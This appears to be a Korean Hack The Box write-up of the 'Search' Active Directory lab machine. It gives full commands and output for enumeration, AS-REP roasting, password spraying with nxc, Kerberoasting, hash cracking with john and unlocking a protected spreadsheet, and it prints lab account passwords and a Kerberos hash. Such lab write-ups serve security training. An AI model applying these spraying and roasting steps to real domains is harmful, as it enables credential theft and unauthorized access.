53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
8172/tcp open unknown
9389/tcp open adws
열려있는 포트를 보면 도메인 컨트롤러라는 것이 추측됩니다.
자세한 포트스캔을 통해서 도메인 정보를 획득하고
이 두 정보를 /etc/hosts와 /etc/resolve.conf에 추가해줍니다.
53/tcp open tcpwrapped
80/tcp open tcpwrapped
|_http-title: Search — Just Testing IIS
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open tcpwrapped
135/tcp open tcpwrapped
139/tcp open tcpwrapped
389/tcp open tcpwrapped
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
|_ssl-date: 2024-10-29T13:26:04+00:00; 0s from scanner time.
443/tcp open ssl/tcpwrapped
|_ssl-date: 2024-10-29T13:26:04+00:00; 0s from scanner time.
| tls-alpn:
|_ http/1.1
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
445/tcp open tcpwrapped
464/tcp open tcpwrapped
593/tcp open tcpwrapped
636/tcp open tcpwrapped
|_ssl-date: 2024-10-29T13:26:04+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
3268/tcp open tcpwrapped
3269/tcp open tcpwrapped
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
|_ssl-date: 2024-10-29T13:26:04+00:00; 0s from scanner time.
8172/tcp open tcpwrapped
9389/tcp open tcpwrapped
그러나 아쉽게도 도메인 정보는 나오지 않았습니다.
그래서 그냥 호스트 주소만 네임서버로 등록을 해줍니다.
서버엔 LDAP이 실행중이었기 때문에 ldapsearch를 통해서
도메인 정보를 수집할 수 있었습니다.
ldapsearch -x -H ldap://10.10.11.129 -s base
serverName: CN=RESEARCH,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Conf
iguration,DC=search,DC=htb
FQDN은 research.search.htb이고 도메인은 search.htb입니다.
SMB와 LDAP에 익명 로그인은 되었지만
쉐어 목록 확인이나 여러가지 활동에 대한 권한은 전혀 없었습니다.
웹서버가 실행중이었으니 웹서버로 이동을 해봅니다.
먼저 우리가 웹 페이지 내에서 정보수집을 해주기 전에
획득한 도메인과 디렉토리 스캔을 먼저 돌려줍니다.
gobuster vhost -k -w /usr/share/dirb/wordlists/subdomain.txt -u http://search.htb/ --append-domain
ffuf -w /usr/share/dirb/wordlists/directory-medium.txt -e .php,.zip,.txt -u http://search.htb/FUZZ
서브도메인은 별다른 게 나오지는 않았는데
디렉토리 스캔 결과는 조금 특별해보이는 디렉토리가 발견됩니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# ffuf -w /usr/share/dirb/wordlists/directory-medium.txt -e .php,.zip,.txt -u http://search.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://search.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/dirb/wordlists/directory-medium.txt
:: Extensions : .php .zip .txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
images [Status: 301, Size: 148, Words: 9, Lines: 2, Duration: 78ms]
certsrv [Status: 401, Size: 1293, Words: 81, Lines: 30, Duration: 114ms]
staff [Status: 403, Size: 1233, Words: 73, Lines: 30, Duration: 698ms]
401 상태코드는 인증 정보가 부족한 것이고
403 상태코드는 권한이 없는 것을 의미합니다.
반대로 말하면 권한이 있다면 이 페이지에 접속이 가능하다는 뜻입니다.
가끔씩 어떤 서버는 403 상태코드인 디렉토리 하위에 대해서 요청을 하면
그 요청은 성공하는 것을 확인할 수 있습니다.
하지만 서버에서는 그 하위 디렉토리 자체에 대한 요청도
모두 거절하기 때문에 별다른 소득은 존재하지 않았습니다.
우선 웹 페이지에서 중요한 정보인 직원 이름을 획득했습니다.
적당한 정규표현식을 사용해서 사용될 수 있는
직원 이름 포맷을 만들어줍니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# cat Coworkers.txt
Keely.Lyons
Dax.Santiago
Sierra.Frye
Kyla.Stewart
Kaiara.Spencer
Dave.Simpson
Ben.Thompson
Chris.Stewart
KLyons
DSantiago
SFrye
KStewart
KSpencer
DSimpson
BThompson
CStewart
K.Lyons
D.Santiago
S.Frye
K.Stewart
K.Spencer
D.Simpson
B.Thompson
C.Stewart
KeelyLyons
DaxSantiago
SierraFrye
KylaStewart
KaiaraSpencer
DaveSimpson
BenThompson
ChrisStewart
이제 정보를 획득했으니 이 정보를 토대로 AS-REP-Roasting
공격을 수행해봐야겠죠
근데 이 머신은 HTB에서 Hard 머신으로 상당히 많이 어려운 편인데
이 머신에서 배울 것은 굉장히 많았음에도 아쉬운 것은
상당히 억지 스러운 난이도가 초반에 존재한다는 것입니다.
실제로 저 유저목록은 쓸데없는데, 실제로 쓸데있는 것은
홈페이지에 캐러셀 이미지로 존재하는 노트 속 계정정보입니다.
노트 속 정보를 보면 유저 이름은 HopeSharp이고
패스워드는 IsolationIsKey? 입니다.
되게 억지스러운 난이도이며 실무, 실용성이 1도 없는 짓이라고 생각합니다.
아무튼 이 정보 역시 유저목록에 추가를 해주고
AS-REP-Roasting공격이 가능한지 테스트를 해준 뒤에
IsolationIsKey? 라는 패스워드로 로그인이 되는 사용자가
있는지 찾아보기 위해서 패스워드 스프레잉 공격을 해줍니다.
impacket-GetNPUsers search.htb/'' -usersfile Coworkers.txt -dc-ip 10.10.11.129
┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-GetNPUsers search.htb/'' -usersfile Coworkers.txt -dc-ip 10.10.11.129
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:163: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User Keely.Lyons doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Dax.Santiago doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Sierra.Frye doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User Hope.Sharp doesn't have UF_DONT_REQUIRE_PREAUTH set
AS-REP-Roasting 공격을 해줬는데 소득은 존재하지 않습니다.
이제 패스워드 스프레잉 공격을 해줄 차례입니다.
nxc smb 10.10.11.129 -u Coworkers.txt -p 'IsolationIsKey?' --continue-on-success
┌──(root㉿kali)-[~/Pentest/Machine]
└─# nxc smb 10.10.11.129 -u Coworkers.txt -p 'IsolationIsKey?' --continue-on-success
SMB 10.10.11.129 445 RESEARCH [*] Windows 10 / Server 2019 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Keely.Lyons:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Dax.Santiago:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Sierra.Frye:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Kyla.Stewart:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Kaiara.Spencer:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Dave.Simpson:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Ben.Thompson:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Chris.Stewart:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\KLyons:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\DSantiago:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\SFrye:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\KStewart:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\KSpencer:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\DSimpson:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\BThompson:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\CStewart:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\K.Lyons:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\D.Santiago:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\S.Frye:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\K.Stewart:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\K.Spencer:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\D.Simpson:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\B.Thompson:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\C.Stewart:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\KeelyLyons:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\DaxSantiago:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\SierraFrye:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\KylaStewart:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\KaiaraSpencer:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\DaveSimpson:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\BenThompson:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\ChrisStewart:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\HopeSharp:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\H.Sharp:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\HSharp:IsolationIsKey? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [+] search.htb\Hope.Sharp:IsolationIsKey?
모두 실패한 것 같지만 마지막에 Hope.Sharp 라는 계정에서
해당 패스워드로 로그인이 성공합니다.
Hope.Sharp : IsolationIsKey?
이 정보로 SMB 쉐어를 확인해주면 한가지 쉐어에 접근이 가능합니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# nxc smb 10.10.11.129 -u Hope.Sharp -p IsolationIsKey? --shares
SMB 10.10.11.129 445 RESEARCH [*] Windows 10 / Server 2019 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.129 445 RESEARCH [+] search.htb\Hope.Sharp:IsolationIsKey?
SMB 10.10.11.129 445 RESEARCH [*] Enumerated shares
SMB 10.10.11.129 445 RESEARCH Share Permissions Remark
SMB 10.10.11.129 445 RESEARCH ----- ----------- ------
SMB 10.10.11.129 445 RESEARCH ADMIN$ Remote Admin
SMB 10.10.11.129 445 RESEARCH C$ Default share
SMB 10.10.11.129 445 RESEARCH CertEnroll READ Active Directory Certificate Services share
SMB 10.10.11.129 445 RESEARCH helpdesk
SMB 10.10.11.129 445 RESEARCH IPC$ READ Remote IPC
SMB 10.10.11.129 445 RESEARCH NETLOGON READ Logon server share
SMB 10.10.11.129 445 RESEARCH RedirectedFolders$ READ,WRITE
SMB 10.10.11.129 445 RESEARCH SYSVOL READ Logon server share
기본 쉐어를 제외하고 RedirectedFolders$ 라는 쉐어가
존재하네요
그럼 해당 쉐어에 접속도 해주고
우리가 사용자 계정을 획득했으므로 해줄 수 있는 공격은 이렇습니다.
우선은 SMB와 LDAP에 대한 정보수집, 그리고 커버로스팅을 해보겠습니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-GetUserSPNs 'search.htb/hope.sharp:IsolationIsKey?' -request -dc-ip 10.10.11.129
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
--------------------------------- ------- -------- -------------------------- --------- ----------
RESEARCH/web_svc.search.htb:60001 web_svc 2020-04-09 21:59:11.329031 <never>
[-] CCache file is not found. Skipping...
$krb5tgs$23$*web_svc$SEARCH.HTB$search.htb/web_svc*$1c14153ddae601054e3570632bc3aa6d$1349553b7ff8e1d601d6ff9c8440a60573b64c8a4c2ae533e0d1dd3204df40b47ca57cc35c27446e2a1d74fcbd3807c7f9ded5ea083af072f83a0df87be65fe178d988cb18b226a2badcf257202aa7ca55892985b9453d0b793ea5803b57bb1e0fc713bfa494ddf8e24e12bb89f2e84d48704c9c3423af16aad6fb50015449342eb8c2763ef0c3c9ded63db168d8faf7feb62d408ea6e1051160286e326525053e03268d4cacf178e6db4525b0b10f3522dbc70452b73d1d5cb1ceb8a2a481a58479deccd6248625f6da1e5068464b7dbe2566cc40d0fcc0da93590907d8879510c609859ae5a0c8dcb3bcf8b580581c053f4014792c386c10a26f524f7a8c76af5271ffeabbe5c4fbd9e79370d1eb47eba0e4bcf3a6a7a471871db895ba4ad5ffa69394136988b8d811d527cdd2c3cf13e95480543e7aede8fbdc1cbd4ecc65a848635edfaa0f958797246486618d5889572cd5fff04752374efbc1e77c9680d34bf84f777a133b0a43d615b11a721385350f58d0aa8680b2a0df3e268f97b7b6f14ef4eeeb52f2f524fb078fcd0cde769c37b9310edb677e7ce780d0c9b6deb5d622c2dbfdf55d216ed606c951b79706b9b8c215dce9f6b4c50aa64039f5665ab3d8b8e5f1e37841bd4fccad2335f693c04f281c783078a9da7be08bc938e00ba413c5fb31db8a86b56d3abf2bc40bf78dd53cfd5a9d11d9ca69c8bcb26966efe6115ac5c308283bd66b717a232be84799cb402c91d6ce77593c23bc8a4c1552c3fa9b44d792bea5c20b9d0d87170e3f34a539df30ec88e7e5ae61c86eb311df4130e540930b2b75f4cf6cdf3e11a3a29963f685484917c5345959ba2a09bb265c01badd06ccf259eb1fc613fafce535f2c9b8e36fb1d579a7856c981af7ce596f5356b24c9ed52d8e495fc8b8cbc142c43a8666478d96371a1e7fdf1190072d73d3b5d7d26f0f8db044674039f7bc7740bcc01de15c378fe5f642c867ee847be431277be07016055ed876db89714cce8afb77285c562c5faaaddd99deaead501097483935a93edef330bea44d38c83b4e91997036db4e95e5ea68e4e1ef1255e94938be6a28c71293770b31da9de8a0e51c2ad6a2c3933fb64b7bbd9f89c650e7becd41addf5c27271905db7b76c1f05610ab14e94905a82906f2a36b16052ff1cf797dc68ad0224c518948a48eb0802a77b38ece156685723cb42e187dd48ca8d00b35e33a8177c9b37546fe9fffdb26e486b4ac14429eae3b63283fee7273f1671a8e765d59a89fc5543798fc7e1abea3b60a1eab1e20e626ab512f8f00cba1164683955282e66dc4205ee06736678016dab7bcf43ef452274f5daa1710db9cacfda16fdab663064712844e7132f45f08d2437e74d94d76a82bca79085efbdfc5a593ca61e062176bddfc74f4ee088a3b73fbf59a4cdd4362663b69fd550e0987bba069bede5f0785bf9c1952c28bc2026df6
다행히도 web_svc라는 계정에 대한 커버로스팅이 성공하네요
그럼 이 패스워드를 복호화 해보겠습니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
@3ONEmillionbaby (?)
1g 0:00:00:04 DONE (2024-10-29 22:50) 0.2155g/s 2477Kp/s 2477Kc/s 2477KC/s @421eduymayte619..<5862548>
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
해쉬 크래킹이 성공했습니다.
web_svc : @3ONEmillionbaby
그리고 블러드하운드를 통해 AD 정보도 매핑해줍니다.
bloodhound-python -u hope.sharp -p IsolationIsKey? -ns 10.10.11.129 -d search.htb --zip -c All
블러드하운드가 실행되는 동안 SMB에 접속을 해봤는데 사용자들
디렉토리가 존재합니다.
아마도 C:\Users 디렉토리 하위에 쉐어가 존재했던 것 같습니다.
디렉토리가 너무 여러개라서 접근 가능한것이 무엇인지 파악하기 힘들어서
마운트한 다음 열거해줍니다.
┌──(root㉿kali)-[/mnt/smbshare]
└─# find . -type f 2>/dev/null
./hope.sharp/Desktop/$RECYCLE.BIN/desktop.ini
./hope.sharp/Desktop/desktop.ini
./hope.sharp/Desktop/Microsoft Edge.lnk
./hope.sharp/Documents/$RECYCLE.BIN/desktop.ini
./hope.sharp/Documents/desktop.ini
./hope.sharp/Downloads/$RECYCLE.BIN/desktop.ini
./hope.sharp/Downloads/desktop.ini
./sierra.frye/Desktop/$RECYCLE.BIN/desktop.ini
./sierra.frye/Desktop/desktop.ini
./sierra.frye/Desktop/Microsoft Edge.lnk
./sierra.frye/Desktop/user.txt
./sierra.frye/user.txt
┌──(root㉿kali)-[/mnt/smbshare]
└─# cat sierra.frye/Desktop/user.txt
cat: sierra.frye/Desktop/user.txt: Permission denied
┌──(root㉿kali)-[/mnt/smbshare]
└─# cat sierra.frye/user.txt
cat: sierra.frye/user.txt: Permission denied
SMB를 통한 소득은 유저플래그밖에 없는 것 같은데
그마저도 읽기 권한이 없어서 읽지는 못합니다.
그러는동안 블러드하운드가 완료되어서 집파일을 업로드해주고
매핑 정보를 확인해줍니다.
AD 내에서 파악된 권한상승 정보는
web_svc와 hope.sharp 모두 존재하지는 않습니다.
다만 우리가 블러드 하운드를 통해서 얻을 수 있는 것은
AD 내에서 존재하는 실제 사용자들의 모든 계정 정보입니다.
이 정보를 neo4j를 통해서 덤핑한다음 AS-REP-Roasting을 할 수 있는것은
새로운 기회이기도 합니다.
MATCH (u:User {enabled:true})
RETURN u.name
이 명령을 neo4j 콘솔에서 입력해주면 사용자 목록이 출력되고
json 데이터로 다운받아줍니다.
하지만 AS-REP-Roasting 공격에 취약한 계정은
하나도 없는 것 같습니다.
이제 해볼 수 있는 것은 확보한 계정 목록 중에서
web_svc 혹은 hope.sharp 계정과 패스워드가 동일한
계정이 있는지 확인해보는 패스워드 스프레잉 공격만 남았습니다.
nxc smb 10.10.11.129 -u Coworkers.txt -p '@3ONEmillionbaby' --continue-on-success
nxc smb 10.10.11.129 -u Coworkers.txt -p 'IsolationIsKey?' --continue-on-success
놀랍게도 web_svc 계정과 동일한 패스워드로 로그인 되는 계정인
EDGAR 계정이 존재했습니다.
블러드하운드에서 확인해보니 이 계정 역시 아웃바운드 객체는 없습니다.
그래서 이 계정으로 SMB에 로그인을 시도해봅니다.
EDGAR 계정은 SMB가 조금 특별했습니다.
EDGAR 계정의 개인 디렉토리에서는 xlsx 파일이 존재했습니다.
┌──(root㉿kali)-[/mnt/smbshare]
└─# find . -type f 2>/dev/null
./edgar.jacobs/Desktop/$RECYCLE.BIN/desktop.ini
./edgar.jacobs/Desktop/desktop.ini
./edgar.jacobs/Desktop/Microsoft Edge.lnk
./edgar.jacobs/Desktop/Phishing_Attempt.xlsx
./edgar.jacobs/Documents/$RECYCLE.BIN/desktop.ini
./edgar.jacobs/Documents/desktop.ini
./edgar.jacobs/Downloads/$RECYCLE.BIN/desktop.ini
./edgar.jacobs/Downloads/desktop.ini
./sierra.frye/Desktop/$RECYCLE.BIN/desktop.ini
./sierra.frye/Desktop/desktop.ini
./sierra.frye/Desktop/Microsoft Edge.lnk
./sierra.frye/Desktop/user.txt
./sierra.frye/user.txt
xlsx 파일을 로컬로 옮긴다음 libreoffice를 사용해서 열어볼 수 있습니다.
엑셀 파일을 열면 C 컬럼이 가려져있어서 확장시켜보니
보호된 셀이라는 문구가 뜨고 수정할 수 없습니다.
마이크로소프트 공식 문서에 따르면 xlsx 파일은 xml 파일의 집합체라고 합니다.
사실 이 파일 자체가 xml 파일 여러개를 압축한 것과
동일하기 때문에 우리가 가xlsx 파일을 다시 압축 해제하는 것도 가능하고
해제를 한 뒤에 xml 파일을 수정한 뒤 다시 압축하는 것 또한 가능합니다.
┌──(root㉿kali)-[~/Pentest/Machine/Phishing]
└─# unzip Phishing_Attempt.xlsx
Archive: Phishing_Attempt.xlsx
inflating: [Content_Types].xml
inflating: _rels/.rels
inflating: xl/workbook.xml
inflating: xl/_rels/workbook.xml.rels
inflating: xl/worksheets/sheet1.xml
inflating: xl/worksheets/sheet2.xml
inflating: xl/theme/theme1.xml
inflating: xl/styles.xml
inflating: xl/sharedStrings.xml
inflating: xl/drawings/drawing1.xml
inflating: xl/charts/chart1.xml
inflating: xl/charts/style1.xml
inflating: xl/charts/colors1.xml
inflating: xl/worksheets/_rels/sheet1.xml.rels
inflating: xl/worksheets/_rels/sheet2.xml.rels
inflating: xl/drawings/_rels/drawing1.xml.rels
inflating: xl/charts/_rels/chart1.xml.rels
inflating: xl/printerSettings/printerSettings1.bin
inflating: xl/printerSettings/printerSettings2.bin
inflating: xl/calcChain.xml
inflating: docProps/core.xml
inflating: docProps/app.xml
┌──(root㉿kali)-[~/Pentest/Machine/Phishing]
└─# ls
Phishing_Attempt.xlsx '[Content_Types].xml' _rels docProps xl
┌──(root㉿kali)-[~/Pentest/Machine/Phishing]
└─# nano xl/worksheets/sheet2.xml
보호된 셀이 있던 시트는 2번째 시트였기 때문에
2번째 시트의 xml 파일을 에디터로 열어줍니다.
그리고 Protection 태그에 있는 내용만 모두 지워줍니다.
수정을 한 다음 편집한 디렉토리를 다시 압축해줍니다.
┌──(root㉿kali)-[~/Pentest/Machine/Phishing]
└─# zip -r phishing.xlsx .
adding: xl/ (stored 0%)
adding: xl/_rels/ (stored 0%)
adding: xl/_rels/workbook.xml.rels (deflated 74%)
adding: xl/worksheets/ (stored 0%)
adding: xl/worksheets/sheet1.xml (deflated 79%)
adding: xl/worksheets/_rels/ (stored 0%)
adding: xl/worksheets/_rels/sheet2.xml.rels (deflated 42%)
adding: xl/worksheets/_rels/sheet1.xml.rels (deflated 55%)
adding: xl/worksheets/sheet2.xml (deflated 73%)
adding: xl/calcChain.xml (deflated 55%)
adding: xl/sharedStrings.xml (deflated 55%)
adding: xl/printerSettings/ (stored 0%)
adding: xl/printerSettings/printerSettings2.bin (deflated 67%)
adding: xl/printerSettings/printerSettings1.bin (deflated 67%)
adding: xl/drawings/ (stored 0%)
adding: xl/drawings/_rels/ (stored 0%)
adding: xl/drawings/_rels/drawing1.xml.rels (deflated 39%)
adding: xl/drawings/drawing1.xml (deflated 58%)
adding: xl/theme/ (stored 0%)
adding: xl/theme/theme1.xml (deflated 80%)
adding: xl/styles.xml (deflated 89%)
adding: xl/workbook.xml (deflated 60%)
adding: xl/charts/ (stored 0%)
adding: xl/charts/_rels/ (stored 0%)
adding: xl/charts/_rels/chart1.xml.rels (deflated 49%)
adding: xl/charts/chart1.xml (deflated 77%)
adding: xl/charts/style1.xml (deflated 90%)
adding: xl/charts/colors1.xml (deflated 73%)
adding: [Content_Types].xml (deflated 79%)
adding: _rels/ (stored 0%)
adding: _rels/.rels (deflated 60%)
adding: docProps/ (stored 0%)
adding: docProps/app.xml (deflated 52%)
adding: docProps/core.xml (deflated 47%)
adding: Phishing_Attempt.xlsx (deflated 23%)
그리고 libreoffice로 다시 파일을 열어주면
이번엔 C셀을 볼 수가 있습니다.
유저정보를 알았으니 이제 이것을 리스트업 해서
실제 유효한 정보인지 확인해줄 필요가 있겠죠
┌──(root㉿kali)-[~/Pentest/Machine]
└─# cat users.txt
Payton.Harmon
Cortez.Hickman
Bobby.Wolf
Margaret.Robinson
Scarlett.Parks
Eliezer.Jordan
Hunter.Kirby
Sierra.Frye
Annabelle.Wells
Eve.Galvan
Jeramiah.Fritz
Abby.Gonzalez
Joy.Costa
Vincent.Sutton
┌──(root㉿kali)-[~/Pentest/Machine]
└─# cat pass.txt
;;36!cried!INDIA!year!50;;
..10-time-TALK-proud-66..
??47^before^WORLD^surprise^91??
//51+mountain+DEAR+noise+83//
++47|building|WARSAW|gave|60++
!!05_goes_SEVEN_offer_83!!
~~27%when%VILLAGE%full%00~~
$$49=wide=STRAIGHT=jordan=28$$18
==95~pass~QUIET~austria~77==
//61!banker!FANCY!measure!25//
??40:student:MAYOR:been:66??
&&75:major:RADIO:state:93&&
**30*venus*BALL*office*42**
**24&moment&BRAZIL&members&66**
우리가 해줄 것은 1번째 사용자에 대해서 저 패스워드 목록을
전체 때려넣는 게 아니라
1번째 레코드는 1번째 레코드와 매칭시켜줄 것이기 때문에
nxc의 --no-bruteforce 플래그를 사용해줍니다.
실제로 만약 이 플래그를 사용하지 않는다면 실무에서는
계정이 잠길 위험이 있죠
nxc smb 10.10.11.129 -u users.txt -p pass.txt --no-bruteforce --continue-on-success
